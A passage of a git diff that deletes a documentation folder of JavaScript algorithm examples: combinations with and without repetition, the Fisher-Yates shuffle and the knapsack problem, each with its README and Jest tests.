-            [3, 5]
-        ]);
-        expect(combinationSum([2, 5], 3)).toEqual([]);
-        expect(combinationSum([], 3)).toEqual([]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sets/combinations/README.md b/docs/content/DS_ALGO/algorithms/sets/combinations/README.md
deleted file mode 100644
index 8255817e4c..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/combinations/README.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# Combinations
-
-When the order doesn't matter, it is a **Combination**.
-
-When the order **does** matter it is a **Permutation**.
-
-**"My fruit salad is a combination of apples, grapes and bananas"**
-We don't care what order the fruits are in, they could also be
-"bananas, grapes and apples" or "grapes, apples and bananas",
-its the same fruit salad.
-
-## Combinations without repetitions
-
-This is how lotteries work. The numbers are drawn one at a
-time, and if we have the lucky numbers (no matter what order)
-we win!
-
-No Repetition: such as lottery numbers `(2,14,15,27,30,33)`
-
-**Number of combinations**
-
-![Formula](https://www.mathsisfun.com/combinatorics/images/combinations-no-repeat.png)
-
-where `n` is the number of things to choose from, and we choose `r` of them,
-no repetition, order doesn't matter.
-
-It is often called "n choose r" (such as "16 choose 3"). And is also known as the Binomial Coefficient.
-
-## Combinations with repetitions
-
-Repetition is Allowed: such as coins in your pocket `(5,5,5,10,10)`
-
-Or let us say there are five flavours of ice cream:
-`banana`, `chocolate`, `lemon`, `strawberry` and `vanilla`.
-
-We can have three scoops. How many variations will there be?
-
-Let's use letters for the flavours: `{b, c, l, s, v}`.
-Example selections include:
-
--   `{c, c, c}` (3 scoops of chocolate)
--   `{b, l, v}` (one each of banana, lemon and vanilla)
--   `{b, v, v}` (one of banana, two of vanilla)
-
-**Number of combinations**
-
-![Formula](https://www.mathsisfun.com/combinatorics/images/combinations-repeat.gif)
-
-Where `n` is the number of things to choose from, and we
-choose `r` of them. Repetition allowed,
-order doesn't matter.
-
-## Cheat Sheets
-
-Permutations cheat sheet
-
-![Permutations Cheat Sheet](https://cdn-images-1.medium.com/max/2000/1*JNK-n0Pt0Vbxk0lxVpgT5A.png)
-
-Combinations cheat sheet
-
-![Combinations Cheat Sheet](https://cdn-images-1.medium.com/max/2000/1*7cFRn8jW4g_91YgDAbmxRQ.png)
-
-Permutations/combinations algorithm ideas.
-
-![Algorithms Idea](https://cdn-images-1.medium.com/max/2000/1*vLsSsZMnesCFPCYTYMbxrQ.png)
-
-## References
-
--   [Math Is Fun](https://www.mathsisfun.com/combinatorics/combinations-permutations.html)
--   [Permutations/combinations cheat sheets](https://medium.com/@trekhleb/permutations-combinations-algorithms-cheat-sheet-68c14879aba5)
diff --git a/docs/content/DS_ALGO/algorithms/sets/combinations/combineWithRepetitions.js b/docs/content/DS_ALGO/algorithms/sets/combinations/combineWithRepetitions.js
deleted file mode 100644
index 3a701f7762..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/combinations/combineWithRepetitions.js
+++ /dev/null
@@ -1,25 +0,0 @@
-/**
- * @param {*[]} comboOptions
- * @param {number} comboLength
- * @return {*[]}
- */
-export default function combineWithRepetitions(comboOptions, comboLength) {
-    // If the length of the combination is 1 then each element of the original array
-    // is a combination itself.
-    if (comboLength === 1) {
-        return comboOptions.map((comboOption) => [comboOption]);
-    }
-    // Init combinations array.
-    const combos = [];
-    // Remember characters one by one and concatenate them to combinations of smaller lengths.
-    // We don't extract elements here because the repetitions are allowed.
-    comboOptions.forEach((currentOption, optionIndex) => {
-        // Generate combinations of smaller size.
-        const smallerCombos = combineWithRepetitions(comboOptions.slice(optionIndex), comboLength - 1);
-        // Concatenate currentOption with all combinations of smaller size.
-        smallerCombos.forEach((smallerCombo) => {
-            combos.push([currentOption].concat(smallerCombo));
-        });
-    });
-    return combos;
-}
diff --git a/docs/content/DS_ALGO/algorithms/sets/combinations/combineWithoutRepetitions.js b/docs/content/DS_ALGO/algorithms/sets/combinations/combineWithoutRepetitions.js
deleted file mode 100644
index df69b5bf1a..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/combinations/combineWithoutRepetitions.js
+++ /dev/null
@@ -1,25 +0,0 @@
-/**
- * @param {*[]} comboOptions
- * @param {number} comboLength
- * @return {*[]}
- */
-export default function combineWithoutRepetitions(comboOptions, comboLength) {
-    // If the length of the combination is 1 then each element of the original array
-    // is a combination itself.
-    if (comboLength === 1) {
-        return comboOptions.map((comboOption) => [comboOption]);
-    }
-    // Init combinations array.
-    const combos = [];
-    // Extract characters one by one and concatenate them to combinations of smaller lengths.
-    // We need to extract them because we don't want to have repetitions after concatenation.
-    comboOptions.forEach((currentOption, optionIndex) => {
-        // Generate combinations of smaller size.
-        const smallerCombos = combineWithoutRepetitions(comboOptions.slice(optionIndex + 1), comboLength - 1);
-        // Concatenate currentOption with all combinations of smaller size.
-        smallerCombos.forEach((smallerCombo) => {
-            combos.push([currentOption].concat(smallerCombo));
-        });
-    });
-    return combos;
-}
diff --git a/docs/content/DS_ALGO/algorithms/sets/combinations/test/combineWithRepetitions.test.js b/docs/content/DS_ALGO/algorithms/sets/combinations/test/combineWithRepetitions.test.js
deleted file mode 100644
index bbeb8d0e68..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/combinations/test/combineWithRepetitions.test.js
+++ /dev/null
@@ -1,46 +0,0 @@
-import combineWithRepetitions from '../combineWithRepetitions';
-import factorial from '../../../math/factorial/factorial';
-describe('combineWithRepetitions', () => {
-    it('should combine string with repetitions', () => {
-        expect(combineWithRepetitions(['A'], 1)).toEqual([['A']]);
-        expect(combineWithRepetitions(['A', 'B'], 1)).toEqual([['A'], ['B']]);
-        expect(combineWithRepetitions(['A', 'B'], 2)).toEqual([
-            ['A', 'A'],
-            ['A', 'B'],
-            ['B', 'B']
-        ]);
-        expect(combineWithRepetitions(['A', 'B'], 3)).toEqual([
-            ['A', 'A', 'A'],
-            ['A', 'A', 'B'],
-            ['A', 'B', 'B'],
-            ['B', 'B', 'B']
-        ]);
-        expect(combineWithRepetitions(['A', 'B', 'C'], 2)).toEqual([
-            ['A', 'A'],
-            ['A', 'B'],
-            ['A', 'C'],
-            ['B', 'B'],
-            ['B', 'C'],
-            ['C', 'C']
-        ]);
-        expect(combineWithRepetitions(['A', 'B', 'C'], 3)).toEqual([
-            ['A', 'A', 'A'],
-            ['A', 'A', 'B'],
-            ['A', 'A', 'C'],
-            ['A', 'B', 'B'],
-            ['A', 'B', 'C'],
-            ['A', 'C', 'C'],
-            ['B', 'B', 'B'],
-            ['B', 'B', 'C'],
-            ['B', 'C', 'C'],
-            ['C', 'C', 'C']
-        ]);
-        const combinationOptions = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H'];
-        const combinationSlotsNumber = 4;
-        const combinations = combineWithRepetitions(combinationOptions, combinationSlotsNumber);
-        const n = combinationOptions.length;
-        const r = combinationSlotsNumber;
-        const expectedNumberOfCombinations = factorial(r + n - 1) / (factorial(r) * factorial(n - 1));
-        expect(combinations.length).toBe(expectedNumberOfCombinations);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sets/combinations/test/combineWithoutRepetitions.test.js b/docs/content/DS_ALGO/algorithms/sets/combinations/test/combineWithoutRepetitions.test.js
deleted file mode 100644
index a88f30f56b..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/combinations/test/combineWithoutRepetitions.test.js
+++ /dev/null
@@ -1,44 +0,0 @@
-import combineWithoutRepetitions from '../combineWithoutRepetitions';
-import factorial from '../../../math/factorial/factorial';
-import pascalTriangle from '../../../math/pascal-triangle/pascalTriangle';
-describe('combineWithoutRepetitions', () => {
-    it('should combine string without repetitions', () => {
-        expect(combineWithoutRepetitions(['A', 'B'], 3)).toEqual([]);
-        expect(combineWithoutRepetitions(['A', 'B'], 1)).toEqual([['A'], ['B']]);
-        expect(combineWithoutRepetitions(['A'], 1)).toEqual([['A']]);
-        expect(combineWithoutRepetitions(['A', 'B'], 2)).toEqual([['A', 'B']]);
-        expect(combineWithoutRepetitions(['A', 'B', 'C'], 2)).toEqual([
-            ['A', 'B'],
-            ['A', 'C'],
-            ['B', 'C']
-        ]);
-        expect(combineWithoutRepetitions(['A', 'B', 'C'], 3)).toEqual([['A', 'B', 'C']]);
-        expect(combineWithoutRepetitions(['A', 'B', 'C', 'D'], 3)).toEqual([
-            ['A', 'B', 'C'],
-            ['A', 'B', 'D'],
-            ['A', 'C', 'D'],
-            ['B', 'C', 'D']
-        ]);
-        expect(combineWithoutRepetitions(['A', 'B', 'C', 'D', 'E'], 3)).toEqual([
-            ['A', 'B', 'C'],
-            ['A', 'B', 'D'],
-            ['A', 'B', 'E'],
-            ['A', 'C', 'D'],
-            ['A', 'C', 'E'],
-            ['A', 'D', 'E'],
-            ['B', 'C', 'D'],
-            ['B', 'C', 'E'],
-            ['B', 'D', 'E'],
-            ['C', 'D', 'E']
-        ]);
-        const combinationOptions = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H'];
-        const combinationSlotsNumber = 4;
-        const combinations = combineWithoutRepetitions(combinationOptions, combinationSlotsNumber);
-        const n = combinationOptions.length;
-        const r = combinationSlotsNumber;
-        const expectedNumberOfCombinations = factorial(n) / (factorial(r) * factorial(n - r));
-        expect(combinations.length).toBe(expectedNumberOfCombinations);
-        // This one is just to see one of the way of Pascal's triangle application.
-        expect(combinations.length).toBe(pascalTriangle(n)[r]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sets/fisher-yates/README.md b/docs/content/DS_ALGO/algorithms/sets/fisher-yates/README.md
deleted file mode 100644
index 241f3cb0bc..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/fisher-yates/README.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# Fisher-Yates shuffle
-
-The Fisher-Yates shuffle is an algorithm for generating a random
-permutation of a finite sequence—in plain terms, the algorithm
-shuffles the sequence. The algorithm effectively puts all the
-elements into a hat; it continually determines the next element
-by randomly drawing an element from the hat until no elements
-remain. The algorithm produces an unbiased permutation: every
-permutation is equally likely. The modern version of the
-algorithm is efficient: it takes time proportional to the
-number of items being shuffled and shuffles them in place.
-
-## References
-
-[Wikipedia](https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle)
diff --git a/docs/content/DS_ALGO/algorithms/sets/fisher-yates/fisherYates.js b/docs/content/DS_ALGO/algorithms/sets/fisher-yates/fisherYates.js
deleted file mode 100644
index 9b0371436b..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/fisher-yates/fisherYates.js
+++ /dev/null
@@ -1,13 +0,0 @@
-/**
- * @param {*[]} originalArray
- * @return {*[]}
- */
-export default function fisherYates(originalArray) {
-    // Clone array from preventing original array from modification (for testing purpose).
-    const array = originalArray.slice(0);
-    for (let i = array.length - 1; i > 0; i -= 1) {
-        const randomIndex = Math.floor(Math.random() * (i + 1));
-        [array[i], array[randomIndex]] = [array[randomIndex], array[i]];
-    }
-    return array;
-}
diff --git a/docs/content/DS_ALGO/algorithms/sets/fisher-yates/test/fisherYates.test.js b/docs/content/DS_ALGO/algorithms/sets/fisher-yates/test/fisherYates.test.js
deleted file mode 100644
index 16d8870589..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/fisher-yates/test/fisherYates.test.js
+++ /dev/null
@@ -1,16 +0,0 @@
-import fisherYates from '../fisherYates';
-import { sortedArr } from '../../../sorting/SortTester';
-import QuickSort from '../../../sorting/quick-sort/QuickSort';
-describe('fisherYates', () => {
-    it('should shuffle small arrays', () => {
-        expect(fisherYates([])).toEqual([]);
-        expect(fisherYates([1])).toEqual([1]);
-    });
-    it('should shuffle array randomly', () => {
-        const shuffledArray = fisherYates(sortedArr);
-        const sorter = new QuickSort();
-        expect(shuffledArray.length).toBe(sortedArr.length);
-        expect(shuffledArray).not.toEqual(sortedArr);
-        expect(sorter.sort(shuffledArray)).toEqual(sortedArr);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sets/knapsack-problem/Knapsack.js b/docs/content/DS_ALGO/algorithms/sets/knapsack-problem/Knapsack.js
deleted file mode 100644
index dae327e481..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/knapsack-problem/Knapsack.js
+++ /dev/null
@@ -1,166 +0,0 @@
-import MergeSort from '../../sorting/merge-sort/MergeSort';
-export default class Knapsack {
-    /**
-     * @param {KnapsackItem[]} possibleItems
-     * @param {number} weightLimit
-     */
-    constructor(possibleItems, weightLimit) {
-        this.selectedItems = [];
-        this.weightLimit = weightLimit;
-        this.possibleItems = possibleItems;
-    }
-    sortPossibleItemsByWeight() {
-        this.possibleItems = new MergeSort({
-            /**
-             * @var KnapsackItem itemA
-             * @var KnapsackItem itemB
-             */
-            compareCallback: (itemA, itemB) => {
-                if (itemA.weight === itemB.weight) {
-                    return 0;
-                }
-                return itemA.weight < itemB.weight ? -1 : 1;
-            }
-        }).sort(this.possibleItems);
-    }
-    sortPossibleItemsByValue() {
-        this.possibleItems = new MergeSort({
-            /**
-             * @var KnapsackItem itemA
-             * @var KnapsackItem itemB
-             */
-            compareCallback: (itemA, itemB) => {
-                if (itemA.value === itemB.value) {
-                    return 0;
-                }
-                return itemA.value > itemB.value ? -1 : 1;
-            }
-        }).sort(this.possibleItems);
-    }
-    sortPossibleItemsByValuePerWeightRatio() {
-        this.possibleItems = new MergeSort({
-            /**
-             * @var KnapsackItem itemA
-             * @var KnapsackItem itemB
-             */
-            compareCallback: (itemA, itemB) => {
-                if (itemA.valuePerWeightRatio === itemB.valuePerWeightRatio) {
-                    return 0;
-                }
-                return itemA.valuePerWeightRatio > itemB.valuePerWeightRatio ? -1 : 1;
-            }
-        }).sort(this.possibleItems);
-    }
-    // Solve 0/1 knapsack problem
-    // Dynamic Programming approach.
-    solveZeroOneKnapsackProblem() {
-        // We do two sorts because in case of equal weights but different values
-        // we need to take the most valuable items first.
-        this.sortPossibleItemsByValue();
-        this.sortPossibleItemsByWeight();
-        this.selectedItems = [];
-        // Create knapsack values matrix.
-        const numberOfRows = this.possibleItems.length;
-        const numberOfColumns = this.weightLimit;
-        const knapsackMatrix = Array(numberOfRows)
-            .fill(null)
-            .map(() => {
-                return Array(numberOfColumns + 1).fill(null);
-            });
-        // Fill the first column with zeros since it would mean that there is
-        // no items we can add to knapsack in case if weight limitation is zero.
-        for (let itemIndex = 0; itemIndex < this.possibleItems.length; itemIndex += 1) {
-            knapsackMatrix[itemIndex][0] = 0;
-        }
-        // Fill the first row with max possible values we would get by just adding
-        // or not adding the first item to the knapsack.
-        for (let weightIndex = 1; weightIndex <= this.weightLimit; weightIndex += 1) {
-            const itemIndex = 0;
-            const itemWeight = this.possibleItems[itemIndex].weight;
-            const itemValue = this.possibleItems[itemIndex].value;
-            knapsackMatrix[itemIndex][weightIndex] = itemWeight <= weightIndex ? itemValue : 0;
-        }
-        // Go through combinations of how we may add items to knapsack and
-        // define what weight/value we would receive using Dynamic Programming
-        // approach.
-        for (let itemIndex = 1; itemIndex < this.possibleItems.length; itemIndex += 1) {
-            for (let weightIndex = 1; weightIndex <= this.weightLimit; weightIndex += 1) {
-                const currentItemWeight = this.possibleItems[itemIndex].weight;
-                const currentItemValue = this.possibleItems[itemIndex].value;
-                if (currentItemWeight > weightIndex) {
-                    // In case if item's weight is bigger then currently allowed weight
-                    // then we can't add it to knapsack and the max possible value we can
-                    // gain at the moment is the max value we got for previous item.
-                    knapsackMatrix[itemIndex][weightIndex] = knapsackMatrix[itemIndex - 1][weightIndex];
-                } else {
-                    // Else we need to consider the max value we can gain at this point by adding
-                    // current value or just by keeping the previous item for current weight.
-                    knapsackMatrix[itemIndex][weightIndex] = Math.max(
-                        currentItemValue + knapsackMatrix[itemIndex - 1][weightIndex - currentItemWeight],
-                        knapsackMatrix[itemIndex - 1][weightIndex]
-                    );
-                }
-            }
-        }
-        // Now let's trace back the knapsack matrix to see what items we're going to add
-        // to the knapsack.
-        let itemIndex = this.possibleItems.length - 1;
-        let weightIndex = this.weightLimit;
-        while (itemIndex > 0) {
-            const currentItem = this.possibleItems[itemIndex];
-            const prevItem = this.possibleItems[itemIndex - 1];
-            // Check if matrix value came from top (from previous item).
-            // In this case this would mean that we need to include previous item
-            // to the list of selected items.
-            if (knapsackMatrix[itemIndex][weightIndex] && knapsackMatrix[itemIndex][weightIndex] === knapsackMatrix[itemIndex - 1][weightIndex]) {
-                // Check if there are several items with the same weight but with the different values.
-                // We need to add highest item in the matrix that is possible to get the highest value.
-                const prevSumValue = knapsackMatrix[itemIndex - 1][weightIndex];
-                const prevPrevSumValue = knapsackMatrix[itemIndex - 2][weightIndex];
-                if (!prevSumValue || (prevSumValue && prevPrevSumValue !== prevSumValue)) {
-                    this.selectedItems.push(prevItem);
-                }
-            } else if (knapsackMatrix[itemIndex - 1][weightIndex - currentItem.weight]) {
-                this.selectedItems.push(prevItem);
-                weightIndex -= currentItem.weight;
-            }
-            itemIndex -= 1;
-        }
-    }
-    // Solve unbounded knapsack problem.
-    // Greedy approach.
-    solveUnboundedKnapsackProblem() {
-        this.sortPossibleItemsByValue();
-        this.sortPossibleItemsByValuePerWeightRatio();
-        for (let itemIndex = 0; itemIndex < this.possibleItems.length; itemIndex += 1) {
-            if (this.totalWeight < this.weightLimit) {
-                const currentItem = this.possibleItems[itemIndex];
-                // Detect how much of current items we can push to knapsack.
-                const availableWeight = this.weightLimit - this.totalWeight;
-                const maxPossibleItemsCount = Math.floor(availableWeight / currentItem.weight);
-                if (maxPossibleItemsCount > currentItem.itemsInStock) {
-                    // If we have more items in stock then it is allowed to add
-                    // let's add the maximum allowed number of them.
-                    currentItem.quantity = currentItem.itemsInStock;
-                } else if (maxPossibleItemsCount) {
-                    // In case if we don't have specified number of items in stock
-                    // let's add only items we have in stock.
-                    currentItem.quantity = maxPossibleItemsCount;
-                }
-                this.selectedItems.push(currentItem);
-            }
-        }
-    }
-    get totalValue() {
-        /** @var {KnapsackItem} item */
-        return this.selectedItems.reduce((accumulator, item) => {
-            return accumulator + item.totalValue;
-        }, 0);
-    }
-    get totalWeight() {
-        /** @var {KnapsackItem} item */
-        return this.selectedItems.reduce((accumulator, item) => {
-            return accumulator + item.totalWeight;
-        }, 0);
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/sets/knapsack-problem/KnapsackItem.js b/docs/content/DS_ALGO/algorithms/sets/knapsack-problem/KnapsackItem.js
deleted file mode 100644
index 3503440382..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/knapsack-problem/KnapsackItem.js
+++ /dev/null
@@ -1,29 +0,0 @@
-export default class KnapsackItem {
-    /**
-     * @param {Object} itemSettings - knapsack item settings,
-     * @param {number} itemSettings.value - value of the item.
-     * @param {number} itemSettings.weight - weight of the item.
-     * @param {number} itemSettings.itemsInStock - how many items are available to be added.
-     */
-    constructor({ value, weight, itemsInStock = 1 }) {
-        this.value = value;
-        this.weight = weight;
-        this.itemsInStock = itemsInStock;
-        // Actual number of items that is going to be added to knapsack.
-        this.quantity = 1;
-    }
-    get totalValue() {
-        return this.value * this.quantity;
-    }
-    get totalWeight() {
-        return this.weight * this.quantity;
-    }
-    // This coefficient shows how valuable the 1 unit of weight is
-    // for current item.
-    get valuePerWeightRatio() {
-        return this.value / this.weight;
-    }
-    toString() {
-        return `v${this.value} w${this.weight} x ${this.quantity}`;
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/sets/knapsack-problem/README.md b/docs/content/DS_ALGO/algorithms/sets/knapsack-problem/README.md
deleted file mode 100644
index e2fa588597..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/knapsack-problem/README.md
+++ /dev/null
@@ -1,69 +0,0 @@
-# Knapsack Problem
-
-The knapsack problem or rucksack problem is a problem in
-combinatorial optimization: Given a set of items, each with
-a weight and a value, determine the number of each item to
-include in a collection so that the total weight is less
-than or equal to a given limit and the total value is as
-large as possible.
-
-It derives its name from the problem faced by someone who is
-constrained by a fixed-size knapsack and must fill it with the
-most valuable items.
-
-Example of a one-dimensional (constraint) knapsack problem:
-which boxes should be chosen to maximize the amount of money
-while still keeping the overall weight under or equal to 15 kg?
-
-![knapsack problem](https://upload.wikimedia.org/wikipedia/commons/f/fd/Knapsack.svg)
-
-## Definition
-
-### 0/1 knapsack problem
-
-The most common problem being solved is the **0/1 knapsack problem**,
-which restricts the number `xi` of copies of each kind of item to zero or one.
-
-Given a set of n items numbered from `1` up to `n`, each with a
-weight `wi` and a value `vi`, along with a maximum weight
-capacity `W`,
-
-maximize ![0/1 knapsack](https://wikimedia.org/api/rest_v1/media/math/render/svg/85620037d368d2136fb3361702df6a489416931b)
-
-subject to ![0/1 knapsack](https://wikimedia.org/api/rest_v1/media/math/render/svg/dd6e7c9bca4397980976ea6d19237500ce3b8176)
-and ![0/1 knapsack](https://wikimedia.org/api/rest_v1/media/math/render/svg/07dda71da2a630762c7b21b51ea54f86f422f951)
-
-Here `xi` represents the number of instances of item `i` to
-include in the knapsack. Informally, the problem is to maximize
-the sum of the values of the items in the knapsack so that the
-sum of the weights is less than or equal to the knapsack's
-capacity.
-
-### Bounded knapsack problem (BKP)
-
-The **bounded knapsack problem (BKP)** removes the restriction
-that there is only one of each item, but restricts the number
-`xi` of copies of each kind of item to a maximum non-negative
-integer value `c`:
-
-maximize ![bounded knapsack](https://wikimedia.org/api/rest_v1/media/math/render/svg/85620037d368d2136fb3361702df6a489416931b)
-
-subject to ![bounded knapsack](https://wikimedia.org/api/rest_v1/media/math/render/svg/dd6e7c9bca4397980976ea6d19237500ce3b8176)
-and ![bounded knapsack](https://wikimedia.org/api/rest_v1/media/math/render/svg/6c8c5ac4f8247b3b8e01e89de76a1df0ea969821)
-
-### Unbounded knapsack problem (UKP)
-
-The **unbounded knapsack problem (UKP)** places no upper bound
-on the number of copies of each kind of item and can be
-formulated as above except for that the only restriction
-on `xi` is that it is a non-negative integer.
-
-maximize ![unbounded knapsack](https://wikimedia.org/api/rest_v1/media/math/render/svg/85620037d368d2136fb3361702df6a489416931b)
-
-subject to ![unbounded knapsack](https://wikimedia.org/api/rest_v1/media/math/render/svg/dd6e7c9bca4397980976ea6d19237500ce3b8176)
-and ![unbounded knapsack](https://wikimedia.org/api/rest_v1/media/math/render/svg/90a99710f61d5dea19e49ae5b31164d2b56b07e3)
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Knapsack_problem)
--   [0/1 Knapsack Problem on YouTube](https://www.youtube.com/watch?v=8LusJS5-AGo&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/sets/knapsack-problem/test/Knapsack.test.js b/docs/content/DS_ALGO/algorithms/sets/knapsack-problem/test/Knapsack.test.js
deleted file mode 100644
index 9d6be24247..0000000000
--- a/docs/content/DS_ALGO/algorithms/sets/knapsack-problem/test/Knapsack.test.js
+++ /dev/null
@@ -1,127 +0,0 @@
-import Knapsack from '../Knapsack';
-import KnapsackItem from '../KnapsackItem';
-describe('Knapsack', () => {
-    it('should solve 0/1 knapsack problem', () => {
-        const possibleKnapsackItems = [
-            new KnapsackItem({ value: 1, weight: 1 }),
-            new KnapsackItem({ value: 4, weight: 3 }),
-            new KnapsackItem({ value: 5, weight: 4 }),
-            new KnapsackItem({ value: 7, weight: 5 })
-        ];
-        const maxKnapsackWeight = 7;
-        const knapsack = new Knapsack(possibleKnapsackItems, maxKnapsackWeight);
-        knapsack.solveZeroOneKnapsackProblem();
-        expect(knapsack.totalValue).toBe(9);
-        expect(knapsack.totalWeight).toBe(7);
-        expect(knapsack.selectedItems.length).toBe(2);
-        expect(knapsack.selectedItems[0].toString()).toBe('v5 w4 x 1');
-        expect(knapsack.selectedItems[1].toString()).toBe('v4 w3 x 1');
-    });
-    it('should solve 0/1 knapsack problem regardless of items order', () => {
-        const possibleKnapsackItems = [
-            new KnapsackItem({ value: 5, weight: 4 }),
-            new KnapsackItem({ value: 1, weight: 1 }),
-            new KnapsackItem({ value: 7, weight: 5 }),
-            new KnapsackItem({ value: 4, weight: 3 })
-        ];
-        const maxKnapsackWeight = 7;
-        const knapsack = new Knapsack(possibleKnapsackItems, maxKnapsackWeight);
-        knapsack.solveZeroOneKnapsackProblem();
-        expect(knapsack.totalValue).toBe(9);
-        expect(knapsack.totalWeight).toBe(7);
-        expect(knapsack.selectedItems.length).toBe(2);
-        expect(knapsack.selectedItems[0].toString()).toBe('v5 w4 x 1');
-        expect(knapsack.selectedItems[1].toString()).toBe('v4 w3 x 1');
-    });
-    it('should solve 0/1 knapsack problem with impossible items set', () => {
-        const possibleKnapsackItems = [
-            new KnapsackItem({ value: 5, weight: 40 }),
-            new KnapsackItem({ value: 1, weight: 10 }),
-            new KnapsackItem({ value: 7, weight: 50 }),
-            new KnapsackItem({ value: 4, weight: 30 })
-        ];
-        const maxKnapsackWeight = 7;
-        const knapsack = new Knapsack(possibleKnapsackItems, maxKnapsackWeight);
-        knapsack.solveZeroOneKnapsackProblem();
-        expect(knapsack.totalValue).toBe(0);
-        expect(knapsack.totalWeight).toBe(0);
-        expect(knapsack.selectedItems.length).toBe(0);
-    });
-    it('should solve 0/1 knapsack problem with all equal weights', () => {
-        const possibleKnapsackItems = [
-            new KnapsackItem({ value: 5, weight: 1 }),
-            new KnapsackItem({ value: 1, weight: 1 }),
-            new KnapsackItem({ value: 7, weight: 1 }),
-            new KnapsackItem({ value: 4, weight: 1 }),
-            new KnapsackItem({ value: 4, weight: 1 }),
-            new KnapsackItem({ value: 4, weight: 1 })
-        ];
-        const maxKnapsackWeight = 3;
-        const knapsack = new Knapsack(possibleKnapsackItems, maxKnapsackWeight);
-        knapsack.solveZeroOneKnapsackProblem();
-        expect(knapsack.totalValue).toBe(16);
-        expect(knapsack.totalWeight).toBe(3);
-        expect(knapsack.selectedItems.length).toBe(3);
-        expect(knapsack.selectedItems[0].toString()).toBe('v4 w1 x 1');
-        expect(knapsack.selectedItems[1].toString()).toBe('v5 w1 x 1');
-        expect(knapsack.selectedItems[2].toString()).toBe('v7 w1 x 1');
-    });
-    it('should solve unbound knapsack problem', () => {
-        const possibleKnapsackItems = [
-            new KnapsackItem({ value: 84, weight: 7 }), // v/w ratio is 12
-            new KnapsackItem({ value: 5, weight: 2 }), // v/w ratio is 2.5
-            new KnapsackItem({ value: 12, weight: 3 }), // v/w ratio is 4
-            new KnapsackItem({ value: 10, weight: 1 }), // v/w ratio is 10
-            new KnapsackItem({ value: 20, weight: 2 }) // v/w ratio is 10
-        ];
-        const maxKnapsackWeight = 15;
-        const knapsack = new Knapsack(possibleKnapsackItems, maxKnapsackWeight);
-        knapsack.solveUnboundedKnapsackProblem();
-        expect(knapsack.totalValue).toBe(84 + 20 + 12 + 10 + 5);
-        expect(knapsack.totalWeight).toBe(15);
-        expect(knapsack.selectedItems.length).toBe(5);
-        expect(knapsack.selectedItems[0].toString()).toBe('v84 w7 x 1');
-        expect(knapsack.selectedItems[1].toString()).toBe('v20 w2 x 1');
-        expect(knapsack.selectedItems[2].toString()).toBe('v10 w1 x 1');
-        expect(knapsack.selectedItems[3].toString()).toBe('v12 w3 x 1');
-        expect(knapsack.selectedItems[4].toString()).toBe('v5 w2 x 1');
-    });
-    it('should solve unbound knapsack problem with items in stock', () => {
-        const possibleKnapsackItems = [
-            new KnapsackItem({ value: 84, weight: 7, itemsInStock: 3 }), // v/w ratio is 12
-            new KnapsackItem({ value: 5, weight: 2, itemsInStock: 2 }), // v/w ratio is 2.5
-            new KnapsackItem({ value: 12, weight: 3, itemsInStock: 1 }), // v/w ratio is 4
-            new KnapsackItem({ value: 10, weight: 1, itemsInStock: 6 }), // v/w ratio is 10
-            new KnapsackItem({ value: 20, weight: 2, itemsInStock: 8 }) // v/w ratio is 10
-        ];
-        const maxKnapsackWeight = 17;
-        const knapsack = new Knapsack(possibleKnapsackItems, maxKnapsackWeight);
-        knapsack.solveUnboundedKnapsackProblem();
-        expect(knapsack.totalValue).toBe(84 + 84 + 20 + 10);
-        expect(knapsack.totalWeight).toBe(17);
-        expect(knapsack.selectedItems.length).toBe(3);
-        expect(knapsack.selectedItems[0].toString()).toBe('v84 w7 x 2');
-        expect(knapsack.selectedItems[1].toString()).toBe('v20 w2 x 1');
-        expect(knapsack.selectedItems[2].toString()).toBe('v10 w1 x 1');
-    });
-    it('should solve unbound knapsack problem with items in stock and max weight more than sum of all items', () => {
-        const possibleKnapsackItems = [
-            new KnapsackItem({ value: 84, weight: 7, itemsInStock: 3 }), // v/w ratio is 12
-            new KnapsackItem({ value: 5, weight: 2, itemsInStock: 2 }), // v/w ratio is 2.5
-            new KnapsackItem({ value: 12, weight: 3, itemsInStock: 1 }), // v/w ratio is 4
-            new KnapsackItem({ value: 10, weight: 1, itemsInStock: 6 }), // v/w ratio is 10
-            new KnapsackItem({ value: 20, weight: 2, itemsInStock: 8 }) // v/w ratio is 10
-        ];
-        const maxKnapsackWeight = 60;
-        const knapsack = new Knapsack(possibleKnapsackItems, maxKnapsackWeight);
-        knapsack.solveUnboundedKnapsackProblem();
-        expect(knapsack.totalValue).toBe(3 * 84 + 2 * 5 + 1 * 12 + 6 * 10 + 8 * 20);
-        expect(knapsack.totalWeight).toBe(3 * 7 + 2 * 2 + 1 * 3 + 6 * 1 + 8 * 2);
-        expect(knapsack.selectedItems.length).toBe(5);
-        expect(knapsack.selectedItems[0].toString()).toBe('v84 w7 x 3');
-        expect(knapsack.selectedItems[1].toString()).toBe('v20 w2 x 8');
-        expect(knapsack.selectedItems[2].toString()).toBe('v10 w1 x 6');
-        expect(knapsack.selectedItems[3].toString()).toBe('v12 w3 x 1');
-        expect(knapsack.selectedItems[4].toString()).toBe('v5 w2 x 2');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sets/knapsack-problem/test/KnapsackItem.test.js b/docs/content/DS_ALGO/algorithms/sets/knapsack-problem/test/KnapsackItem.test.js
deleted file mode 100644
